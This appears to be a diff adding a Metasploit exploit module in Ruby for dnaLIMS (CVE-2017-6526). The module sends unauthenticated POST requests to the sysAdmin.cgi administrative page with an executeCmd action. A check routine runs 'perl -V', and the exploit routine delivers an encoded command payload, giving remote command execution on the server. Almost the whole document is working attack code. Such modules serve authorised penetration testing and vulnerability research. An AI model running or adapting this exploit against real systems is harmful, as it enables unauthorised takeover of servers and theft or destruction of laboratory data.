|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'dnaLIMS Admin Module Command Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module utilizes an administrative module which allows for |
| 18 | + command execution. This page is completely unprotected from any |
| 19 | + authentication when given a POST request. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'h00die <[email protected]>', # Discovery, PoC |
| 24 | + 'flakey_biscuit <[email protected]>' # Discovery, PoC |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['CVE', '2017-6526'], |
| 30 | + ['US-CERT-VU', '929263'], |
| 31 | + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] |
| 32 | + ], |
| 33 | + 'Platform' => %w( linux unix ), |
| 34 | + 'Arch' => ARCH_CMD, |
| 35 | + 'Payload' => |
| 36 | + { |
| 37 | + 'Space' => 1024, |
| 38 | + 'DisableNops' => true, |
| 39 | + 'Compat' => |
| 40 | + { |
| 41 | + 'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there |
| 42 | + } |
| 43 | + }, |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + [ 'Automatic Target', { }] |
| 47 | + ], |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DisclosureDate' => 'Mar 8 2017' |
| 50 | + )) |
| 51 | + |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']) |
| 55 | + ], self.class |
| 56 | + ) |
| 57 | + end |
| 58 | + |
| 59 | + def check |
| 60 | + begin |
| 61 | + res = send_request_cgi( |
| 62 | + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), |
| 63 | + 'method' => 'POST', |
| 64 | + 'vars_post' => { |
| 65 | + 'investigator' => '', |
| 66 | + 'username' => '', |
| 67 | + 'navUserName' => '', |
| 68 | + 'Action' => 'executeCmd', |
| 69 | + 'executeCmdData' => 'perl -V' |
| 70 | + } |
| 71 | + ) |
| 72 | + if res && res.body |
| 73 | + if /Summary of/ =~ res.body |
| 74 | + Exploit::CheckCode::Vulnerable |
| 75 | + else |
| 76 | + Exploit::CheckCode::Safe |
| 77 | + end |
| 78 | + else |
| 79 | + Exploit::CheckCode::Safe |
| 80 | + end |
| 81 | + rescue ::Rex::ConnectionError |
| 82 | + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") |
| 83 | + end |
| 84 | + end |
| 85 | + |
| 86 | + def exploit |
| 87 | + begin |
| 88 | + vprint_status('Sending Exploit') |
| 89 | + res = send_request_cgi( |
| 90 | + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), |
| 91 | + 'method' => 'POST', |
| 92 | + 'vars_post' => { |
| 93 | + 'investigator' => '', |
| 94 | + 'username' => '', |
| 95 | + 'navUserName' => '', |
| 96 | + 'Action' => 'executeCmd', |
| 97 | + 'executeCmdData' => payload.encoded, |
| 98 | + } |
| 99 | + ) |
| 100 | + vprint_good(res.body) |
| 101 | + rescue ::Rex::ConnectionError |
| 102 | + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") |
| 103 | + end |
| 104 | + end |
| 105 | +end |
| 106 | + |
| 107 | + |
0 commit comments